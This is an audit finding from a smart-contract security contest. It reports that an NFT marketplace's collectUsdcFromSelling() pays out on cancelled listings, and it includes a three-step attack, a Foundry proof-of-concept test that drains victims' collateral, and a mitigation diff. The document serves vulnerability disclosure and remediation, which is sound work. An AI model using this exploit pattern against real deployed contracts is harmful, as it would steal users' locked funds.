NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

`collectUsdcFromSelling()` can be called on a cancelled listing, allowing a seller to steal other users' collateral without any buyer

Author Revealed upon completion

Root + Impact

Description

The collectUsdcFromSelling() function (L171-183) only checks that a listing is inactive (!listing.isActive at L173), but does not distinguish between a listing that was cancelled via cancelListing() and one that was sold via buy(). Both paths set s_listings[_listingId].isActive = false -- cancelListing() at L162 and buy() at L152 -- making them indistinguishable to collectUsdcFromSelling().

The root cause is that the Listing struct (L54-60) has no field to record whether a sale occurred. The isActive boolean is overloaded to mean both "listing was cancelled" and "listing was sold", but collectUsdcFromSelling() should only pay out in the sold case.

After a user calls cancelListing() (L157-169):

  1. s_listings[_listingId].isActive is set to false at L162

  2. collateralForMinting[listing.tokenId] is zeroed at L166 and the collateral is returned at L165

  3. But s_listings[_listingId].seller and s_listings[_listingId].price are not cleared

The seller then calls collectUsdcFromSelling() (L171-183):

  1. onlySeller modifier (L72-75): s_listings[_listingId].seller == msg.sender -- passes because seller was never cleared

  2. require(!listing.isActive, ...) at L173 -- passes because cancelListing set it to false

  3. _calculateFees(listing.price) at L175 uses the original listing price (never cleared)

  4. amountToSeller = listing.price - fees at L176 -- the full sale payout is calculated

  5. collateralToReturn = collateralForMinting[listing.tokenId] at L177 -- is 0 (already zeroed by cancel)

  6. usdc.safeTransfer(address(this), fees) at L181 -- self-transfer, no-op on balance

  7. usdc.safeTransfer(msg.sender, amountToSeller) at L182 -- transfers listing.price - fees USDC to the attacker

The attacker receives listing.price - fees USDC even though no buyer ever paid. These funds are drained from other users' collateral held in the contract.

function cancelListing(uint256 _listingId) external { // @audit L157
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false; // @audit L162: sets isActive = false
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]); // @audit L165: returns collateral
collateralForMinting[listing.tokenId] = 0; // @audit L166: zeros collateral
// seller and price are NOT cleared -- listing remains eligible for collectUsdcFromSelling
emit NFT_Dealers_ListingCanceled(_listingId);
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) { // @audit L171
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC"); // @audit L173: passes for BOTH sold AND cancelled
uint256 fees = _calculateFees(listing.price); // @audit L175: uses original price
uint256 amountToSeller = listing.price - fees; // @audit L176: full payout calculated
uint256 collateralToReturn = collateralForMinting[listing.tokenId]; // @audit L177: 0 (already zeroed)
totalFeesCollected += fees; // @audit L179: inflated
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees); // @audit L181: self-transfer no-op
usdc.safeTransfer(msg.sender, amountToSeller); // @audit L182: steals from contract
}

This is distinct from H-01 (repeated collectUsdcFromSelling calls on a sold listing). H-01 requires a real buyer to purchase the NFT first. This vulnerability requires no buyer at all -- a single attacker can list, cancel, and collect to drain the contract unilaterally.

Risk

Likelihood:

  • Any whitelisted user who has minted an NFT can exploit this (list() requires onlyWhitelisted at L127)

  • The attack requires only 3 transactions: list(), cancelListing(), collectUsdcFromSelling() -- no buyer or external cooperation needed

  • No timing constraints, front-running, or special conditions required

  • The attack is profitable on every call: attacker receives listing.price - fees USDC from other users' collateral

Impact:

  • Attacker steals listing.price - fees USDC from the contract per exploit cycle, funded by other users' locked collateral

  • The attacker can set listing.price up to type(uint32).max (~4294 USDC) to maximize the stolen amount per cycle

  • Combined with H-01 (no state reset in collectUsdcFromSelling), the same cancelled listing can be collected repeatedly, compounding the drain

  • Victims permanently lose their collateral with no recovery mechanism -- the contract becomes insolvent

Proof of Concept

Attack steps:

  1. Victims mint NFTs via mintNft(), each locking 20 USDC collateral into the contract

  2. Attacker mints an NFT via mintNft(), locking 20 USDC collateral (tokenId 3)

  3. Attacker lists the NFT for 10 USDC via list(3, 10e6)

  4. Attacker calls cancelListing(3) -- receives 20 USDC collateral back, isActive set to false at L162, collateralForMinting[3] zeroed at L166

  5. Attacker calls collectUsdcFromSelling(3) -- onlySeller passes (seller not cleared), !isActive passes (set by cancel), contract sends 10 - 0.1 = 9.9 USDC to attacker

  6. Contract drops from 40 USDC to 30.1 USDC while still owing 40 USDC to victims -- insolvent

The following Foundry test demonstrates the full attack. Run with forge test --match-test test_collectAfterCancelStealsFromVictims -vv:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;
import {Test, console} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
contract H04PoCTest is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
address public victim1 = makeAddr("victim1");
address public victim2 = makeAddr("victim2");
uint256 constant LOCK_AMOUNT = 20e6; // 20 USDC
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", "ipfs://test/", LOCK_AMOUNT);
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(attacker);
nftDealers.whitelistWallet(victim1);
nftDealers.whitelistWallet(victim2);
vm.stopPrank();
usdc.mint(attacker, 1000e6);
usdc.mint(victim1, 1000e6);
usdc.mint(victim2, 1000e6);
vm.prank(attacker);
usdc.approve(address(nftDealers), type(uint256).max);
vm.prank(victim1);
usdc.approve(address(nftDealers), type(uint256).max);
vm.prank(victim2);
usdc.approve(address(nftDealers), type(uint256).max);
}
function test_collectAfterCancelStealsFromVictims() public {
// --- Victims mint NFTs, locking collateral into the contract ---
vm.prank(victim1);
nftDealers.mintNft(); // tokenId 1, locks 20 USDC
vm.prank(victim2);
nftDealers.mintNft(); // tokenId 2, locks 20 USDC
// --- Attacker mints NFT ---
vm.prank(attacker);
nftDealers.mintNft(); // tokenId 3, locks 20 USDC
// Contract holds 60 USDC (3 x 20 USDC collateral)
assertEq(usdc.balanceOf(address(nftDealers)), 60e6);
uint256 attackerBalBefore = usdc.balanceOf(attacker);
// --- Attacker lists NFT at 10 USDC ---
vm.prank(attacker);
nftDealers.list(3, uint32(10e6));
// --- Attacker cancels listing: gets 20 USDC collateral back, isActive set to false ---
vm.prank(attacker);
nftDealers.cancelListing(3);
// After cancel: attacker got collateral back, contract has 40 USDC (victims' collateral)
assertEq(usdc.balanceOf(address(nftDealers)), 40e6);
// collateralForMinting[3] is now 0 (zeroed by cancelListing at L166)
assertEq(nftDealers.collateralForMinting(3), 0);
// --- EXPLOIT: Attacker calls collectUsdcFromSelling on the CANCELLED listing ---
// onlySeller(3): s_listings[3].seller == attacker -> TRUE (seller not cleared by cancelListing)
// !listing.isActive: TRUE (set to false by cancelListing at L162)
// listing.price: still 10e6 (not cleared by cancelListing)
// payout: 10e6 - 1% fee = 9.9 USDC, taken from victims' collateral
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(3);
uint256 attackerBalAfter = usdc.balanceOf(attacker);
uint256 contractRemaining = usdc.balanceOf(address(nftDealers));
// Attacker gained: 20 USDC (collateral returned) + 9.9 USDC (stolen via collect) = 29.9 USDC
assertEq(attackerBalAfter - attackerBalBefore, 20e6 + 9_900_000);
// Contract now has 30.1 USDC but owes 40 USDC to victims -> insolvent
assertEq(contractRemaining, 30_100_000);
assertLt(contractRemaining, 40e6, "Contract insolvent: cannot return all victim collateral");
}
}

Recommended Mitigation

Delete the listing in cancelListing() after returning collateral. This zeros the seller field, causing the onlySeller modifier (L72-75) to revert with address(0) != msg.sender on any subsequent collectUsdcFromSelling() call. This mirrors the approach recommended for buy() in H-02.

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
- s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
+ delete s_listings[_listingId];
emit NFT_Dealers_ListingCanceled(_listingId);
}

The delete s_listings[_listingId] statement:

  1. Zeros seller to address(0), causing onlySeller to revert on any collectUsdcFromSelling call

  2. Zeros price to 0, so even if reached, the payout would be 0

  3. Zeros isActive to false (equivalent to the removed explicit assignment)

  4. Fully cleans up the listing, preventing any residual state from being exploited

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!